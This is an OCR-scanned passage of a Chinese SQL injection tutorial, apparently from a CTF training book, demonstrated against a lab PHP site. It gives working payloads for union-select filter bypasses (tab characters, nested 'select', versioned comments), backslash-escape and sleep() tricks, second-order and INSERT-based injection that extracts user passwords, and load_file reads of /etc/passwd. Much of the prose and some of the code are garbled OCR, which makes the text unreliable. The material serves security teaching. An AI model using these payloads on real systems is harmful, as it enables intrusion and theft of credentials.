{E A2 BTHY payload (JLE SQL jEN-44), HFZHRHEBELRAZT, FHik SQLIEAE
WS, TEHRREET title N . BB HA “%09", ERIILE SQL iFN-45.

@ 192168.20.132/replace.php?ic X  +

C [ ® %= | 192.168.20.132/replace.php?id=-1%20union%20select%201,2 ¢

5 fAx® () GitHub @ Tuisec®2MA Bx Google i @ Sec-News B2XH @&

before replace id: -1 union select 1,2
after replace id: —1unionselect1,2

Bl SQL EN-44
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FENFIRE

00@000000

FRIER

192.168.20.132/replace.php?id=-1%09union%09select%09... ¢

GitHub @ Tuisec®2#M A B Google BiF @) Sec-News KX &

before replace id: —1 union select 1,2
after replace id: —1 union select 1,2

1

E: SQL JEN-45
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FENFIRE

000@00000

FRIER

44 SELECT Hipkz=

BEE SELECT B AZRIBIR, AAAKREMNAR, W SESELECTLECT X,
FEZTAEEXTE T SELECT. . BRI HIED

$id = str_replace(" ", "", $sql);

B

$id = str_replace("SELECT", "", $sql);
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ENFOR
000000000

FRIER

i
http://192.168.20.132/replace.php?id=-1%09union%09selselectect%091,2,
ZERILE SQL EN-46.

192.168.20.132/replace.php?id=-1%09union%09selselectect%091,2 Pk

GitHub @ TuisecR2#MA Br Google §iF 0 Sec-News R2XH & BAREZR

before replace id: -1 union selselectect 1,2
after replace id: -1 union select 1,2

1

&: SQL jEN-46
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FENFOR
000000000

PR

KINEEE
HEMYSQLH, XBFEFRFX/IER, MRACE T SELECT', EEAX/NE
REMNARESEE, W'sEleCT .
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FENFIRE
85835880

FRIER

1F Uy PE g

IEMPCER K=" \bselect\b' AT LA B0’ /*150000select* /" AR ZEit, DLE SQL
FEN-AT,

mysql> /*!150000select*/ title,content from wp_news;

2 rows in set (0.00 sec)

E: SQL iEN-47
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FRIER

BEMTBIISHMEIT. ST RMML
HBRITEN SR

$sql ="SELECT * FROM wp_news WHERE id = '#421' AND title = '#{z2'"

ST IE A T4

$sql ="SELECT * FROM wp_news WHERE id = 'a\' AND title = 'OR sleep(1)#'"
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ENFIB
3388888

FRIER

FINERHNERAITELTER LRENRSS, SHTER 2 HEHESS,
DB SQL EN-48,

mysql> select * from wp_news where id='a\'and title="or sleep(1)#'

Empt;>sét, 1 warning (2.00 sec)
E: SQL EN-48

ATIAEE], sleep() AMINAT, IHATER 2 MBS EMINMERIES|S. £
UNION JENBIATIRERBURE R, WA SQL iEN-49,

mysql> select * from wp_news where id='a\'and title=' union select 1,2,(selec
t concat(username,ox7e,password) from wp_user limit 1),4#'

BE: SQL jEN-49
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FANMESETRZSS, MALEESKERPHMNE B —IX addslashes,
tHHMEENMES S, REHIEEF, M Th "\, EXFHERT, EURE
TESQLEN, (BARLELETIRRGEBHR.

YmiDARED

FAEEESRBEIR U urldecode. baseb4_decode HIARAD iR 15 & H E XA INFEE
BRE. LR PEIN addslashes iR#AT, BB FRIDKRES, SISTiEHEXN, EHE
BIMREZEHN SQLIBFAAIMER TN, AHENBERUEEENE/BE. FHE
ERHER. BEFETIEINAREAFERERRMAEENNEAREG], WRME, 7T
BiTEAEAETRE.
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BEZIMIBAR
FREEEAPRNRERT —EiES, K PHP Af], finE&rscEta.
http header. $_SERVER['PHP_SELF] XETEFEEHFELHZFET, SBHEN.
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iR 5[ S

ZREN

ZRENNIRBET AREEEHEEPRHMNEEELEN. RZHEIER
TLE SQL EN-50, APMNEIAAE admin'or'l 2538 X AT admin\'or\'l, F2
SQLERA:

INSERT INTO wp_user VALUES(2, ' admin\'or\'l', 'some_pass');

ysql> select * from wp_user;

+
1 row in set (0.00 sec)

B&: SQL i EN-50
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R, BFSISHEN, FREENTE, BREFENE, LE SQLEN-SL.

mysql> insert into wp_user values(2, 'admin\'or\'l', 'some_pass');
Query OK, 1 row affected (©0.01 sec)

mysql> select *from wp_user;
e e +
| username | password

Fommmmm e oo e +

| password |
| admin'or'1l | some_pass |
e s L +

2 rows in set (0.00 sec)

Bl: SQL 7EN-51
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ENFORE
0000800

<?php
conn = mysqli_connect .0.0.1", "root", "root", "test");
$ ‘L‘ (ll127 0.0.1" " " " " " ||)
$res = mysqli_query($conn, "SELECT username FROM wp_user WHERE id=2");
$row = mysqli_fetch_array($res);
$name = $row["username"];
$res = mysqli_query($conn, "SELECT password FROM wp_user WHERE username='$name'");

Hname HEANSQLIEAIR, TH

SELECT password FROM wp_user WHERE username = 'admin'or'l';

TN



ENFORE
0000080

iS5 =

FrEREE
TR, FRLFEME, FREFEREREFHAERT 10 MFFF, B8NS
#Hr. B0, PHP {A3INT:

<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$title = addslashes($_GET['title']);
$title = substr($titlel, 0, 10);

echo "<center>$title</center>";

$content = addslashes($_GET['content']);

$sql = "INSERT INTO wp_news VALUES(2, '$title', '$content')";
$res = mysqli_query($conn, $sql);
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3 )

000000e

kR3S

BIEEERN “aaaaaaaaa’”, BENEEN A "aaaaaaaaa\"", HFFHHKERS, #
HEUA “aaaaaaaaa\”, EFEXTMERES|S, XHFE content R BIRIEN .
B ANKEN VALUES iFANBIAE, A1)
http://192.168.20.132/insert2.php?title=aaaaaaaaa\&content=,1,1),(3,4,(se-

lect%20pwd%20from%20wp__user%201imit%?201),1)%23, BIR[HEIEHER wp_news
g7 2147, WA SQL iEN-52,

ysql> select * from wp_news;
------ R L R

| title | content

4 rows in set (0.00 sec)

E: SQL jEN-52
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FENHIII
(Y

ENRILIZL
RIEHHAT SQLENMERMMSIT T %, T4,

%éﬂlv Egggyujto
HEASXHRIER T, E#RINTO OUTFILE 53 DUMPFILE [ Web B %

Ex#, ZESXHRESXHESREESABHMITHOMNR. LE SQLEN-53.

ENBIRBTARE ? ALK

| root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: fusr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /fusr/games: /usr/sbin/nologin
man:x:6:12:man: /var/cache/man: /usr/sbin/nologin

&: SQL jEN-53
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ENHIII
oe

ENRITHR

HEREXHBIRAER T, H load_file() i IZIMIsFBINEERFS, RINER
£

RANR, REESHWRAAIRFEERBR, SZIER, KWAR, HERAA
WBRSE, MTIREE L RIMEIhEE -

B ENEHEREE SRR, EH0ER. ZFEFHRRRIKE
PR, ELEMRR. mENFRERE .

HAHITSEANEAT, EHEI8EE, SFEHERRE. EEFRK
E%.

£ SQL Server IEMTEEF A UEEHITRESS .
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[1] Null. ) OZ1: CTFer BiKz 8 [EB/OL]
https://book.douban.com/subject)/ 35200558/ ;

[2] MIL.4.1. SQL jEN [EB/OL].
https://websec.readthedocsio /zh /latest /vulu/sql/index.html.
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